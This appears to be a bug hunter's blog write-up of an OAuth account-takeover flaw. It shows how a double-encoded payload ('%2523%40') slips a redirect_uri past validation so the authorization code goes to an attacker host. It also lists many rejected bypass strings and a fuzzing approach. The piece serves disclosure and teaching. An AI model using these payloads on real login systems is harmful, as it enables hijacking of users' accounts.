Story of Abusing a Fully Secured redirect_uri in an OAuth Flow

When it comes to bug hunting, authentication is my first choice. Nowadays, major companies' authentication systems have many implementations and enormous underlying complexity. So when I start testing, it feels like solving a challenging puzzle full of unknown elements. It may sound like I'm simply testing authentication, but I'm actually deep diving through many JS files and iframes interacting with each other. Today, I want to cover a one-click account takeover bug that I recently found on a well known company's main website, which I'm 100% sure has been tested by many internal security teams and external hunters.
Before jumping into the finding, let me set the stage with some background on how OAuth flows work and why some setups are significantly harder to break than others.
A Quick Primer on SSO and OAuth
Single Sign-On (SSO) is the concept of entering your credentials once and getting access to multiple services. Google is a perfect example. You sign into your Google account, and suddenly Gmail, YouTube, Google Cloud, and everything else just works.
The implementation behind SSO varies. Some companies rely on well-known protocols like SAML or common OAuth providers. Others, especially large enterprises, build their own private SSO systems. And this is where things get interesting for a bug hunter, because custom implementations are far more likely to contain flaws.
Here is the typical OAuth login flow. You go to a website, click "Login with Google," and the following happens:
The Application (e.g., YouTube) redirects you to the Provider (e.g., Google) with a set of parameters including
client_id,redirect_uri,scope, andstateYou authenticate with the Provider
The Provider sends you back to the Application's
redirect_uriwith an authorizationcode(or token)The application exchanges that code for an access token on the server side, then issues an authentication cookie, session, or token for the user
The critical security boundary here is the redirect_uri. If an attacker can manipulate where the authorization code is sent, they can steal it, exchange it, and take over the victim's account. This is why every OAuth provider validates the redirect_uri strictly.
Now, there is a common misconception among fresh hunters. Many people focus on attacking the Provider side (Google, Facebook, etc.). But the Provider has been tested by millions of researchers. The real attack surface is on the Application side, specifically how the application handles the OAuth setup, the redirect, and the token exchange.
Two Types of Redirects
In OAuth implementations, there are generally two types of redirects after the Provider sends back the code:
Exchange Endpoint: A server-side endpoint that receives the code and exchanges it for a token/authentication session/cookie. This is a 301/302 redirect, no JavaScript involved. The only attack vector here is manipulating the
redirect_uriDispatcher Endpoint: A client-side page that uses JavaScript to process the response and redirect the user. This is trickier because JS introduces additional attack surface, such as manipulating the
stateparameter, postMessage abuse, or Unicode tricks inwindow.location
The second type is more complex and often more likely to be vulnerable. I have previously exploited dispatcher-based flows in of of the Google's product and I received $12,000 for it, I'll be publishing it in future. What if the redirect_uri is the sole point to probe for vulnerabilities, and the implementation appears completely secure?
That is exactly the situation I faced with this target :]
The Target's OAuth Flow
The target company is a major global brand in the automotive industry. They operate a unified OAuth system shared across multiple subsidiary brands, powered by a custom identity provider. When you click "Login" on any of their regional websites, the following OAuth request is made:
https://idp-connect.company.com/auth/api/v2/user/authorize
?client_id=dummy
&redirect_uri=https%3A%2F%2Fwww.company.com%2Fapi%2Fbin%2Fopenid%2Flogin
&state=[BASE64_STATE]
&scope=openid+profile+email+phone
&response_type=code
&ui_locales=en
After authentication, the provider redirects to:
https://www.company.com/api/bin/openid/login?code=AUTHORIZATION_CODE&state=...
This is the exchange endpoint. The Application receives the code and exchanges it for the user's session.
Analyzing the Attack Surface
I immediately started mapping what I was working with:
Application: www.company.com
Provider: idp-connect.company.com
Exchange endpoint:
https://www.conpany.com/api/bin/openid/loginNo dispatcher endpoint. No JavaScript involved. The redirect was a clean 301 HTTP redirect
No
stateparameter abuse possible because the state was just a base64-encoded URL for post-login redirect, and the exchange endpoint was server-side
This meant the only viable attack was manipulating the redirect_uri. If I could make the provider redirect the authorization code to a domain I control, game over.
The issue? The redirect_uri validation was highly protected. However, unlike the main Google provider (the famous one that many sites use it), it accepted both subdomains and the main domain, so abc passed the security checker function without any problems:
redirect_uri=https%3A%2F%2Fabc.company.com%2Fapi%2Fbin%2Fopenid%2Flogin
But hold on, how does a parser detect subdomains? Bingo! By parsing the URL or applying a regex to it. In this case, attackers can exploit inconsistencies across different layers, just as I did.
The Wall: Every Trick in the Book, Blocked
I started with the standard redirect_uri manipulation techniques. Every single one was blocked.
Path confusion with ? and #:
https://www.company.com?/api/bin/openid/login → Rejected
https://www.company.com#/api/bin/openid/login → Rejected
Domain substitution:
https://www.company.computer/api/bin/openid/login → Rejected
https://wwwa.company.com/api/bin/openid/login → Rejected
Authority injection with @:
https://www.company.com@attacker.com/api/bin/openid/login → Rejected
Domain concatenation:
https://a.coma.company.computer/api/bin/openid/login → Rejected
https://a.com@.company.computer/api/bin/openid/login → Rejected
https://a.com\@.company.computer/api/bin/openid/login → Rejected
Every standard bypass was dead. The validation was solid. At this point, most hunters would move on. The redirect_uri was locked down. Nothing to see here.
But I do not give up after one round of attempts. I always push further.
Fuzzing the URL Parser
I changed my strategy. Rather than using familiar bypass techniques, I opted to fuzz the URL parser. The key question was whether characters could be decoded again after passing the server-side URL validator.
I started fuzzing encoded characters at various positions in the URL (\u0000 -> \u007f):
https://a.com%FUZZ.company.com/api/bin/openid/login
https://www.company.com%FUZZ/api/bin/openid/login
https://a.com%FUZZ/api/bin/openid/login
Nothing happened, so I continued by extending the fuzz to two consecutive characters, ranging from \u0000 to \u007f in all possible permutations. This approach, known as a cluster bomb attack, covers every potential scenario:
https://a.com%FUZZ%FUZZ.company.com/api/bin/openid/login https://www.company.com%FUZZ%FUZZ/api/bin/openid/login https://a.com%FUZZ%FUZZ/api/bin/openid/login
All payloads were rejected and I got nothing. Here is the secret ingredient that I want to give you, there is a classic double-decode vulnerability pattern (you may know it as the double-encode attack vector) which is used to be in CTF challenge commonly, honestly I don't know if it's still a brand-new challenge these days or not. The scenario: If the server decodes once before validation but the action function (in our case before the redirect) causes a second decode, you can smuggle characters past the validator. Here is the tiny PHP code that is vulnerable:
Can you spot the vulnerability? So I ran this approach against the target:
https://a.com%25FUZZ%FUZZ.company.com/api/bin/openid/login https://www.company.com%25FUZZ%FUZZ/api/bin/openid/login https://a.com%25FUZZ%FUZZ/api/bin/openid/login
As a result, I got a desired output with %2523%40.
The Breakthrough
The key insight came from combining two URL-encoded characters:
%2523= double-encoded#(first decode:%23, second decode:#)%40= URL-encoded@
I crafted the following redirect_uri:
https://a.com%2523%40www.company.com/api/bin/openid/login
Here is what happens step by step:
Step 1: Server-side validation
The server decodes the URL once:
https://a.com%23@www.company.com/api/bin/openid/login
The validator sees %23 (which is #) followed by @www.company.com. In URL parsing, the @ symbol separates credentials from the host. So the server interprets this as:
Credentials:
a.com%23(treated as credentials, ignored)Host:
www.company.comPath:
/api/bin/openid/login
The host is www.company.com. Validation passes.
Step 2: Just before the 301 redirect
The server issues a 301 redirect to this URL with the authorization code appended. Right before the parameter is passed to the response, it decodes %23 once:
https://a.com#@www.company.com/api/bin/openid/login?code=AUTH_CODE
Now the browser sees:
Scheme:
httpsHost:
a.comFragment:
@www.company.com/api/bin/openid/login?code=AUTH_CODE
Everything after # is a fragment identifier. The browser navigates to a.com and the fragment (including the authorization code) is accessible via location.hash on the attacker's page.
The authorization code leaks to the attacker.
In practice, the actual redirect looked like:
https://a.com/?code=AUTH_CODE&state=...
The code is now in my hands.
Why This Bug Existed
The root cause is a discrepancy between how the server-side URL validator parses URLs and how a function decodes them just before a redirect. Specifically:
The server conducts a single round of URL decoding before validating the
redirect_uri, which is standard behaviorbefore redirection, a function caused to perform an additional round of decoding
Double-encoded characters (
%2523for#) survive the first decode as%23, passing validation. They then get decoded again by the function into#, which completely changes the URL structure.
This is not a trivial bug. The redirect_uri validation was genuinely strong. It blocked every standard bypass technique. The flaw was in the interaction between the server's URL decoding behavior and the security function that was parsing the URL.
This bug serves as a reminder that "fully secured" doesn't mean "impossible to bypass." It simply requires deeper investigation. I hope you enjoyed this post. My next one will focus on OAuth in Google, exploring a different path with a dispatcher endpoint. I'll publish it soon :)
![uXSS on Samsung Browser [CVE-2025-58485 SVE-2025-1879]](/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1769612322324%2F5d0547d4-f91a-49d7-bc16-70a87513b506.png&w=3840&q=75)


